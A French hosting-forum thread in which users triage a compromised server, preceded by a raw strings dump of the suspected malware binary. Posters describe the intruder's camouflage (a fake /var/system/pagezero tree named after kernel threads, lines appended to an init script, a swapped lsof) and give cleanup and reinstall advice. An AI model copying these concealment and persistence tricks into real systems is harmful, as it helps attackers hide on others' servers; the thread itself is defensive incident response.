opendir
__assert_fail
getgrouplist
strcmp
shutdown
getpwuid
__h_errno_location
gethostbyname
strsignal
getpwnam
fgetc
sprintf
setlocale
getpeername
stderr
mmap64
__lxstat64
readdir64_r
__ctype_b_loc
getsockopt
hstrerror
getaddrinfo
socketpair
strftime
pclose
sendfile64
fwrite
__fxstat64
strptime
__errno_location
fnmatch
inet_ntop
fileno
__ctype_toupper_loc
_exit
gmtime
__libc_start_main
strlen
lseek64
strchr
execvp
setsid
closedir
fcntl
setuid
tcsetattr
mkdir
vfprintf
raise
sigprocmask
getsockname
fopen64
_edata
__bss_start
_end
GLIBC_2.2.5
GLIBC_2.3
l$ L
t$(L
|$0H
AVAUATUSH
H)D$
L;d$
[]A\A]A^A_
l$ D
uTHcD$
L$ H
H;\$ t
AUATUSH
A;F\
[]A\A]A^A_1
AVAUATUH
EPE1
[]A\A]A^A_
D$ H
D$(H
D$8H
D$@H
D$HH
D$PH
D$XH
D$`H
D$hH
D$pH
\$0H
D$xI
[]A\A]A^A_
ATUSH
*JXL
[]A\A]
*CxM
[]A\A]
AVAUI
ATUSH
MbP?H
t$Pf
T$PH)
H=?~
ZFPH
|$`H
H=@~
ZEtH
D$0A
H=?~
H+E(
H=@~
MbP?H
T$PH
h[]A\A]A^A_
*JXL
*ExM
T$XH
L$hI
T$@1
t$xH
D$XA
D$PA
D$HA
D$@A
D$8A
D$0A
D$(A
D$ A
u E1
\$`H
l$hL
d$pL
l$xL
fff.
[]A\A]1
[]A\A]
fffff.
[]A\
=qj&
=Wj&
=ri&
AUATUSH
57h&
=5h&
D$xH
D$pH
T$hH
D$`H
T$XH
D$PH
T$HH
D$@H
T$8H
D$0H
T$(H
D$ H
[]A\A]A^A_
$ldf
$xdf
T$`H
L$BL
[]A\A]A^A_
[]A\
=|[&
0[]A\
t$ H
T$ 1
fff.
fffff.
AVAUATI
t$01
T$PL
L$hL
D$`H
D$xH
D$pH
D1$H
D$ M
[]A\A]A^A_
D$(1
l$(A
fffff.
fffff.
t$ L
[]A\A]1
[]A\A]
fffff.
ATUS1
[]A\A]
ZKpu
H=?~
H=@~
H[]A\A]
H[]A\A]I
H+t$ 1
H+t$ I
\$pH
l$xL
ATUSH
[]A\A]A^A_
fff.
AUATUS
tbHc
[]A\A]A^
ffff.
[]A\
[]A\
[]A\
[]A\
t$ H
D$@H
D$ H
ffffff.
\$hH
l$pL
d$xL
ffffff.
l$ L
d$(L
l$0L
t$8L
|$@H
=k2&
e4SH
[]A\
[]A\
[]A\
=e/&
fffff.
ffffff.
fffff.
5Om&
=nl&
53l&
=Dk&
5dk&
5Gk&
t$ H
=K+&
D$ H
D$(H
D$0H
D$8H
D$@H
5zg&
fffff.
AUATA
[]A\A]A^
\$`1
=/f&
9w5D
[]A\A]A^
tz<	
%Ud&
5Xc&
=>c&
=qb&
=Vb&
5|a&
=q`&
=V`&
=0`&
}8Hc
l$ H
AUATUS1
~AHc
~AHc
[]A\A]A^A_
AVAUATA
5dL&
D9%oZ&
54Y&
5yH&
D9%TU&
gfffffffH
=~U&
D9%{T&
5IS&
D9-$S&
58R&
5eQ&
5lO&
5'%
[]A\1
[]A\
#t"L
%|%%
%Z%%
UHHi
[]A\
U8Hi
%,$%
[]A\
l$ H
l$ 1
l$ H
ffff.
l$ H
-_ %
l$ H
|$ H
[]A\A]
[]A\A]
[]A\
[]A\
U@Hi
ffff.
ffffff.
[]A\
[]A\
AUATUH
D9-&
[]A\A]L
EXt*
AUATE1
[]A\A]A^
ffff.
fffff.
fffff.
fffff.
SH97H
fffff.
fffff.
fff.
ffff.
AUE1
ATUS
[]A\A]A^
fffff.
t$ H
l$ H
l$ H
l$ H
fffff.
d$ L
l$(L
t$0H
fff.
l$ L
d$(L
l$0L
t$8L
|$@H
<$#I
s$D9
l$ L
d$(L
t$8L
|$@1
l$ L
d$(L
l$0L
t$8L
|$@H
fff.
|$@H
t$4H
|$@H
\$HH
l$PL
d$XL
l$`L
t$hL
|$pH
T$4H
D$(v 
D$(L
D$ I9D$
D$4H
L$ M
H;\$
t$8L
D$(M
|$@L
t$xH
t$pH
l$ H
l$ H
ffffff.
AWAVAUATA
t$ H
|$0H
|$0H
|$0E1
|$(I
D$xH
I9l$
t$ I
|$0L
[]A\A]A^A_
l$ H
t$ L
l$ L
d$(L
l$0L
t$8L
|$@H
fffff.
fffff.
ffffff.
ffffff.
AUE1
[]A\A]
ffffff.
fffff.
H=?~
ATUSH
QXH)
H=?~
([]A\A]
fff.
AWAVAUATUSH
|$@H
|$@D
9C(u
t$8H
D$ L
o^M<+
D$(H
H[]A\A]A^A_
l$ H
fffff.
D$XH
=R;$
=>;$
fffff.
\$HH
fffff.
\$ H
t$ H
AVAUE1
[]A\A]A^A_
[]A\A]A^A_
[]A\
[]A\1
ATE1
CxI9D$x
[]A\A]
d$ H
d$ H
St:H
[]A\
[]A\
fff.
ffffff.
D$XH9
	wYD
[]A\
fff.
AWAVAUI
[]A\A]A^A_
fff.
AUATUH
[]A\A]A^
ffffff.
AVE1
ATE1
([]A\A]A^A_
ffff.
AVAUI
ATUSH
H)D$
[]A\A]A^A_
[]A\A]
AVAUI
ATUSH
L+|$
([]A\A]A^L
T$$L
D$$ 
D$$A
\$0H
l$8L
d$@L
l$HL
t$PH
ffffff.
t Hc
[]A\
AWAVAUATI
[]A\A]A^A_
|$ H
fff.
AVAUI
([]A\A]A^A_
|$ H
D$0H
T$XH
L$8H
D$@L
T$ H
ffff.
OD$0H
\$0I
fffff.
F +G 
F$+G$
fffff.
AWE1
AUATUSH
[]A\A]A^A_
ffff.
l$ L
t$(L
|$0H
l$ H
ffffff.
ffff.
[]A\A]
[]A\A]
AUATUSH
D$xH
D$|A
D$$A
t$ A
D$(L
T$|L
T$ 1
T$$1
ZD$(
[]A\A]A^A_
|$xD
AUATI
[A\A]
|c~|H
C Hc
[]A\H
[]A\1
l$ L
t$(L
|$0H
=UZ$
=hY$
=LY$
l$ L
t$(L
|$0H
l$ L
t$(L
|$0H
l$ L
t$(L
|$0H
l$ L
t$(L
|$0H
5JU$
AUE1
ATUSH
t Hc
8[]A\A]A^A_
H+E H
D$ H
8 u	I
fff.
t$ H
I9E0|	1
D$0H
fff.
ATUSH
[]A\A]
l$ H
L9-Rn$
l$ H
\$`H
D$hI
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
l$ H
ffff.
D$TL
t$ H
fff.
fffff.
l$ H
l$ H
ffffff.
ffff.
5+2$
[A\A]
[A\A]
fffff.
l$ L
t$(L
|$0H
=k/$
AUE1
L$ L
ExH9XX
[]A\A]A^A_
t$ H
D$ L
[]A\A]A^A_
D$ L
w H;w8A
H9BX
k0H9
S0}sI
C }PH9
l$ H
H9BX
ATUS
[]A\A]
AVAUA
u Hc
w$Hc
[]A\A]A^A_
u$Hc
EhA9D$hu
EhA9D$hu
fffff.
l$0I
5K[$
t	D9
l$ L
t$(L
|$0H
\$ H
l$(L
d$0L
l$8L
t$@H
d$@I
l$ L
t$(L
|$0H
ffff.
l$ L
d$(L
l$0H
l$ L
d$(L
l$0H
ffff.
l$0A
AUATU
l$ 1
D$0H
D$8H
8u2H
[]A\A]
AVAUATUSH
tOHi
 []A\A]A^
ffffff.
\$ H
d$0L
l$8L
t$@H
ffffff.
ffffff.
ffffff.
fff.
AVAUATUSH
|$ 1
l$ A
|$0H
h[]A\A]A^A_
|$8H
<8,u
={<$
=<;$
u E1
=57$
M@@H
=U2$
AVE1
AUATUSH
%f0$
-j0$
\$`H
=a/$
=6.$
[]A\A]A^A_
L$ E
T$0H
T$8H
[]A\A]
fffff.
%_'$
@(Hi
ffffff.
L9 t
[]A\A]
T$0H
ATUSH
`(E9
[]A\A]A^A_
AWE1
ATUSH
e(E9
[]A\A]A^A_
L9 t
[]A\A]
AUATI
[]A\A]
ffffff.
ATE1
9C(u
[]A\A]A^A_
fffff.
l$ L
d$(L
l$0L
t$8L
|$@H
D$P9
|$(H
t$4M
D$49
D$0D
t$ L
|$(M
T$(H
\$8H
l$@L
d$HL
l$PL
t$XL
|$`H
D$(H
D$(H
L$4H
D$(H
D$(H
D$0D
t$ H
|$(M
T$(H
l$ H
@(Hi
l$ H
D9%*
AUATUSH
@(Hi
D9-z
[]A\A]A^A_
[]A\A]A^A_
fffff.
fff.
\$0H
l$8L
d$@L
l$HL
t$PH
ffffff.
t Hc
ffffff.
d$ L
l$(L
t$0H
ffff.
fff.
ATUH
d$ 1
[]A\A]
fffff.
ATUH
[]A\A]
AUATI
[]A\A]A^A_
L$HH
L$8L
D$@I
D$ H
ffffff.
L$8H
D$@L
D$ H
t$ H
t$ H
t$ H
t$ H
fffff.
[]A\
fff.
=xB#
[]A\
D+EL
[]A\
t$ H
5A!#
ffff.
[]A\
ATUSH
[]A\A]
[]A\A]
[]A\A]
fffff.
AUATI
l$0H
t$ H
|$(1
[]A\A]A^A_
D$(H
[]A\A]A^A_
H9E`u
H9EhtdH
ffffff.
AVE1
AUATUSH
H[]A\A]A^A_
L$ L
D$(L
T$0H
|$0H
|$(H
|$ H
H[]A\A]A^A_
L$ L
D$(L
T$0H
ffff.
fffff.
l$PH
t$ H
AUATUSu
[]A\A]A^
[]A\A]A^
l$ H
fffff.
,$H)
d$ H
l$(L
t$0H
,$H)
d$ H
l$(L
t$0H
,$H)
d$ H
l$(L
t$0H
,$H)
d$ H
l$(L
t$0H
t$x1
5E$#
5/$#
ffffff.
fff.
to9h
[]A\
[]A\1
AWAVAUATUSH
[]A\A]A^A_
ffff.
[]A\
AUATE1
[]A\A]
f	C@H
CPwoH
ATUS
D9%)
[]A\A]A^
[]A\A]A^
fffff.
ATUSH
	v]H
[]A\A]A^
l$ L
d$(L
l$0H
fffff.
[]A\
l$ L
t$(L
|$0H
5:y#
fff.
H9kx
l$ L
t$(L
|$0H
EL9E@
H9EX}WA
5Mt#
fff.
AVE1
ATUSH
[]A\A]A^A_
AWAVE1
ATUSH
[]A\A]D
A^A_
ffff.
l$ H
ffffff.
}8E1
|$HA
=xm#
D$H=
d$PA
D$H0
|$@1
s-E9
|$81
|$81
D$$H
|$8M
fff.
|$ H
T$(L
|$(H
0[A\A]
gfffffffH
D$0L
d$ L
l$(L
t$0H
\$hH
l$pL
d$xL
gfffffffH
gfffffffH
|$XI
|$8H
H+t$HL
L$0M
D$(H
D$ H9D$(
|$0H
;D$T
T$TH
|$`L
H+t$HH
|$`L
L$0M
H+t$HH
T$8H
H+t$H
H+t$HI
t$XH
H+t$H
H+t$H
H+t$H
H+t$HD
fffff.
55U#
T$0L
gfffffffH
=fP#
D$@L
|$XI
|$`L
|$`L
D$L9
ffffff.
AUATA
[]A\A]
l$P1
\$PH
|$pH
D$XH
D$xH
D$ H
D$(H
D$0H
D$8H
D$@H
D$HH
D$xH
t$XI
D$hH
|$`I
|$`1
|$hH
[]A\A]
=rC#
=4C#
AUATUSH
w!HcM
[]A\A]A^
t$(H
L$8L
D$@L
L$HH
D$ H
fffff.
ffffff.
5.@#
fffff.
fffff.
fffff.
AUATE1
A\A]A^
[]A\A]A^
[]A\A]A^
ffffff.
ffff.
ffff.
d$(L
l$0L
t$8L
|$@H
uVE9
fffff.
ffff.
ATSH
ffff.
fffff.
ffff.
fffff.
fff.
ffffff.
fffff.
t$ E1
fA9ED
=!q#
T$ H
|$ H
ffff.
=A%#
fffff.
ATE1
u	[]A\A]A^
[]A\A]A^
ffff.
fffff.
ffff.
fffff.
fff.
l$ H
-6d#
l$ H
l$ H
ffff.
fffff.
fffff.
fffff.
fff.
fffff.
=Q^#
fffff.
fffff.
fffff.
fffff.
=$\#
=a[#
=1[#
fffff.
ffffff.
sSE1
([]A\A]
ffffff.
-CT#
ffff.
fffff.
ffff.
fffff.
x\Hc
l$ L
t$(L
|$0H
xIHc
fff.
t$ H
fffff.
[]A\
AVAUATUS1
=dx"
X[]A\A]A^A_
D9=ED#
=qB#
AVE1
=-n"
=Ig"
([]A\A]A^A_
AVE1
[]A\A]A^A_
[]A\A]A^A_
ffff.
l$ L
d$(L
l$0L
t$8L
|$@H
fffff.
ATUH
$H3]
[]A\A]A^A_
[]A\A]A^I
AUE1
[]A\A]
AWAVAUATUSH
|$0H
t$(	
Hc\$ Hcl$
D$0H
T$(D
D$ H
T$0Hc\$ D
T$(Hcl$
\$0H
D$(H
8[]A\A]A^A_
\$0H
D$(H
[]A\A]A^A_
[]A\
fff.
[]A\
fff.
fffff.
ffff.
l$ H
ffffff.
ffffff.
ffffff.
(...)
je supprime /var/system/pagezero/init et /var/system/pagezero/bufdaemon ?

cassiopee
22/10/2014, 11h25
Citation Envoyé par whynote
Faut-il effacer ce fichier init ?
Surtout pas, sinon webmin ne pourra plus démarrer (donc plus d'ovhm non plus)

Il faut seulement supprimer les 4-5 lignes finales qui ont été ajoutées au script d'origine.

Puis essaye de tuer le processus en question en RAM.

Code:
ps ax | grep bufdaemon
ce qui devrait donner une ligne du genre :

Code:
30126 ?        S      0:00 /var/system/pagezero/bufdaemon
Là on repère dans la première colonne le PID (Program ID, l'identifiant numérique de tout processus en RAM),
dans cet exemple c'est "30126".

puis on le tue violemment :

Code:
kill -9 30126
où "30126" est à remplacer par le PID trouvé à la ligne vue ci-dessus.


Et remplacer /usr/sbin/lsof par /usr/src/bin/lsof (qui a le bon checksum) ?
Cela est-il suffisant pour arrêter le hack ?
Arrêter non, le piratage a déjà eu lieu et il est probable que d'autres scripts pirates
sont présents. Disons que ça limitera, pour un temps, l'usage que pourrait avoir le pirate
du serveur, mais clairement il faut migrer/réinstaller le serveur qui a été compromis
dans les grandes largeurs.

- - - Mise à jour - - -

@garden :

Vi, une jolie arborescence qui pourrait faire croire à une vraie,
histoire de noyer le poisson

un "strings" sur le fichier "init" donne des choses intéressantes ?

Garden
22/10/2014, 11h24
Voici ce repertoire:
Code:
# ls -alR /var/system
/var/system:
total 152
drwxr-xr-x 38 root root 4096 nov 28  2008 .
drwxr-xr-x 14 root root 4096 oct  5 06:32 ..
drwxr-xr-x  2 root root 4096 nov 28  2008 aio
drwxr-xr-x  2 root root 4096 nov 28  2008 async
drwxr-xr-x  2 root root 4096 nov 28  2008 ata
drwxr-xr-x  2 root root 4096 nov 28  2008 ata_aux
drwxr-xr-x  2 root root 4096 nov 28  2008 bdi-default
drwxr-xr-x  2 root root 4096 nov 28  2008 cpuset
drwxr-xr-x  2 root root 4096 nov 28  2008 crypto
drwxr-xr-x  2 root root 4096 nov 28  2008 events
drwxr-xr-x  2 root root 4096 nov 28  2008 flush-254
drwxr-xr-x  2 root root 4096 nov 28  2008 kacpid
drwxr-xr-x  2 root root 4096 nov 28  2008 kacpi_hotplug
drwxr-xr-x  2 root root 4096 nov 28  2008 kblockd
drwxr-xr-x  2 root root 4096 nov 28  2008 khelper
drwxr-xr-x  2 root root 4096 nov 28  2008 khubd
drwxr-xr-x  2 root root 4096 nov 28  2008 kintegrityd
drwxr-xr-x  2 root root 4096 nov 28  2008 kpsmoused
drwxr-xr-x  2 root root 4096 nov 28  2008 kseriod
drwxr-xr-x  2 root root 4096 nov 28  2008 ksnapd
drwxr-xr-x  2 root root 4096 nov 28  2008 ksoftirqd
drwxr-xr-x  2 root root 4096 nov 28  2008 kstriped
drwxr-xr-x  2 root root 4096 nov 28  2008 kthreadd
drwxr-xr-x  2 root root 4096 nov 28  2008 migration
drwxr-xr-x  2 root root 4096 nov 28  2008 netns
drwxr-xr-x 37 root root 4096 nov 28  2008 pagezero
drwxr-xr-x  2 root root 4096 nov 28  2008 scsi_eh_0
drwxr-xr-x  2 root root 4096 nov 28  2008 scsi_eh_1
drwxr-xr-x  2 root root 4096 nov 28  2008 sync_supers
drwxr-xr-x  2 root root 4096 nov 28  2008 syslogd
drwxr-xr-x  2 root root 4096 nov 28  2008 watchdog
drwxr-xr-x  2 root root 4096 nov 28  2008 xfsaild
drwxr-xr-x  2 root root 4096 nov 28  2008 xfsbufd
drwxr-xr-x  2 root root 4096 nov 28  2008 xfsconvertd
drwxr-xr-x  2 root root 4096 nov 28  2008 xfsdatad
drwxr-xr-x  2 root root 4096 nov 28  2008 xfslogd
drwxr-xr-x  2 root root 4096 nov 28  2008 xfs_mru_cache
drwxr-xr-x  2 root root 4096 nov 28  2008 xfssyncd

/var/system/aio:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/async:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/ata:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/ata_aux:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/bdi-default:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/cpuset:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/crypto:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/events:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/flush-254:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kacpid:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kacpi_hotplug:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kblockd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/khelper:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/khubd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kintegrityd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kpsmoused:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kseriod:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/ksnapd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/ksoftirqd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kstriped:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/kthreadd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/migration:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/netns:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/pagezero:
total 944
drwxr-xr-x 37 root root   4096 nov 28  2008 .
drwxr-xr-x 38 root root   4096 nov 28  2008 ..
drwxr-xr-x  2 root root   4096 nov 28  2008 aio
drwxr-xr-x  2 root root   4096 nov 28  2008 async
drwxr-xr-x  2 root root   4096 nov 28  2008 ata
drwxr-xr-x  2 root root   4096 nov 28  2008 ata_aux
drwxr-xr-x  2 root root   4096 nov 28  2008 bdi-default
-rwxrwxrwx  1 root root 381760 nov 28  2008 bufdaemon
drwxr-xr-x  2 root root   4096 nov 28  2008 cpuset
drwxr-xr-x  2 root root   4096 nov 28  2008 crypto
drwxr-xr-x  2 root root   4096 nov 28  2008 events
drwxr-xr-x  2 root root   4096 nov 28  2008 flush-254
-rwxr-xr-x  1 root root 417944 oct 22 00:49 init
drwxr-xr-x  2 root root   4096 nov 28  2008 kacpid
drwxr-xr-x  2 root root   4096 nov 28  2008 kacpi_hotplug
drwxr-xr-x  2 root root   4096 nov 28  2008 kblockd
drwxr-xr-x  2 root root   4096 nov 28  2008 khelper
drwxr-xr-x  2 root root   4096 nov 28  2008 khubd
drwxr-xr-x  2 root root   4096 nov 28  2008 kintegrityd
drwxr-xr-x  2 root root   4096 nov 28  2008 kpsmoused
drwxr-xr-x  2 root root   4096 nov 28  2008 kseriod
drwxr-xr-x  2 root root   4096 nov 28  2008 ksnapd
drwxr-xr-x  2 root root   4096 nov 28  2008 ksoftirqd
drwxr-xr-x  2 root root   4096 nov 28  2008 kstriped
drwxr-xr-x  2 root root   4096 nov 28  2008 kthreadd
drwxr-xr-x  2 root root   4096 nov 28  2008 migration
drwxr-xr-x  2 root root   4096 nov 28  2008 netns
drwxr-xr-x  2 root root   4096 nov 28  2008 scsi_eh_0
drwxr-xr-x  2 root root   4096 nov 28  2008 scsi_eh_1
drwxr-xr-x  2 root root   4096 nov 28  2008 sync_supers
drwxr-xr-x  2 root root   4096 nov 28  2008 syslogd
drwxr-xr-x  2 root root   4096 nov 28  2008 watchdog
drwxr-xr-x  2 root root   4096 nov 28  2008 xfsaild
drwxr-xr-x  2 root root   4096 nov 28  2008 xfsbufd
drwxr-xr-x  2 root root   4096 nov 28  2008 xfsconvertd
drwxr-xr-x  2 root root   4096 nov 28  2008 xfsdatad
drwxr-xr-x  2 root root   4096 nov 28  2008 xfslogd
drwxr-xr-x  2 root root   4096 nov 28  2008 xfs_mru_cache
drwxr-xr-x  2 root root   4096 nov 28  2008 xfssyncd

/var/system/pagezero/aio:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/async:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/ata:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/ata_aux:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/bdi-default:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/cpuset:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/crypto:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/events:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/flush-254:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kacpid:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kacpi_hotplug:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kblockd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/khelper:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/khubd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kintegrityd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kpsmoused:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kseriod:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/ksnapd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/ksoftirqd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kstriped:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/kthreadd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/migration:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/netns:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/scsi_eh_0:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/scsi_eh_1:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/sync_supers:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/syslogd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/watchdog:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfsaild:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfsbufd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfsconvertd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfsdatad:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfslogd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfs_mru_cache:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/pagezero/xfssyncd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 37 root root 4096 nov 28  2008 ..

/var/system/scsi_eh_0:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/scsi_eh_1:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/sync_supers:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/syslogd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/watchdog:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfsaild:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfsbufd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfsconvertd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfsdatad:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfslogd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfs_mru_cache:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..

/var/system/xfssyncd:
total 8
drwxr-xr-x  2 root root 4096 nov 28  2008 .
drwxr-xr-x 38 root root 4096 nov 28  2008 ..
en particulier je note :
Code:
-rwxrwxrwx  1 root root 381760 nov 28  2008 bufdaemon
-rwxr-xr-x  1 root root 417944 oct 22 00:49 init

cassiopee
22/10/2014, 11h17
Citation Envoyé par Garden
Code:
# file /var/system/pagezero/bufdaemon
/var/system/pagezero/bufdaemon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), stripped

